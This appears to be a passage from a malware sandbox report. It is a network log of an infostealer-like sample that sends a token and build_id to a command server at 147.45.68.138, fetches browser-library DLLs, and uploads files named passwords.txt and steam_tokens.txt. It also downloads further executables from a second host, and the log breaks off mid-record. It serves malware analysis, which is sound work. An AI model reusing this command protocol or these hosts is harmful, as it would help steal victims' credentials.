Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJKHost: 147.45.68.138Content-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="mode"1------JJJEGHDAECBFHJKEGIJK--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFHIIDHJEBFBFIDAKFBHost: 147.45.68.138Content-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="mode"2------AAFHIIDHJEBFBFIDAKFB--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFHCGIDBAAFHIDHDAAEHost: 147.45.68.138Content-Length: 332Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 2d 2d 0d 0a Data Ascii: ------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="mode"21------BKFHCGIDBAAFHIDHDAAE--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGHJEGIEBFIJJKFIIIJHost: 147.45.68.138Content-Length: 7753Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sql.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAKEBAECGCBAAAAAEBAHost: 147.45.68.138Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJKHost: 147.45.68.138Content-Length: 1529Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJKHost: 147.45.68.138Content-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="file_data"------JJJEGHDAECBFHJKEGIJK--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJKHost: 147.45.68.138Content-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="file_data"------CFIEHCFIECBGCBFHIJJK--
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBKFHIDHIIJJKECGHCFHost: 147.45.68.138Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEBGIIJDGHCBGCBFIEGHost: 147.45.68.138Content-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 47 49 49 4a 44 47 48 43 42 47 43 42 46 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 47 49 49 4a 44 47 48 43 42 47 43 42 46 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 47 49 49 4a 44 47 48 43 42 47 43 42 46 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 47 49 49 4a 44 47 48 43 42 47 43 42 46 49 45 47 2d 2d 0d 0a Data Ascii: ------GIEBGIIJDGHCBGCBFIEGContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------GIEBGIIJDGHCBGCBFIEGContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------GIEBGIIJDGHCBGCBFIEGContent-Disposition: form-data; name="mode"3------GIEBGIIJDGHCBGCBFIEG--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGDAAKJJDAAKFHJKJKFHost: 147.45.68.138Content-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="mode"4------EBGDAAKJJDAAKFHJKJKF--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKJEBAAECBGDHIECAKJHost: 147.45.68.138Content-Length: 457Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 4e 2b 64 41 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 2d 2d 0d 0a Data Ascii: ------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="file_data"N+dA------KKKJEBAAECBGDHIECAKJ--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJHost: 147.45.68.138Content-Length: 84897Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBKJJKEBGHIDGCBKJJDHost: 147.45.68.138Content-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 2d 2d 0d 0a Data Ascii: ------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="mode"5------JDBKJJKEBGHIDGCBKJJD--
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd8fb6f7b_lgjfd.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCFHDAKECFIDGDGDBKJHost: 147.45.68.138Content-Length: 499Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 61 73 6b 5f 69 64 22 0d 0a 0d 0a 31 30 33 38 39 39 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 74 61 74 75 73 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="mode"51------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="task_id"1038998------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="status"1------EGCFHDAKECFIDGDGDBKJ--
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd9a65b5d_vqwergf.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCBGDHIEBFHCBFHDHDHHost: 147.45.68.138Content-Length: 499Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 61 73 6b 5f 69 64 22 0d 0a 0d 0a 31 30 33 38 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 74 61 74 75 73 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 2d 2d 0d 0a Data Ascii: ------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; 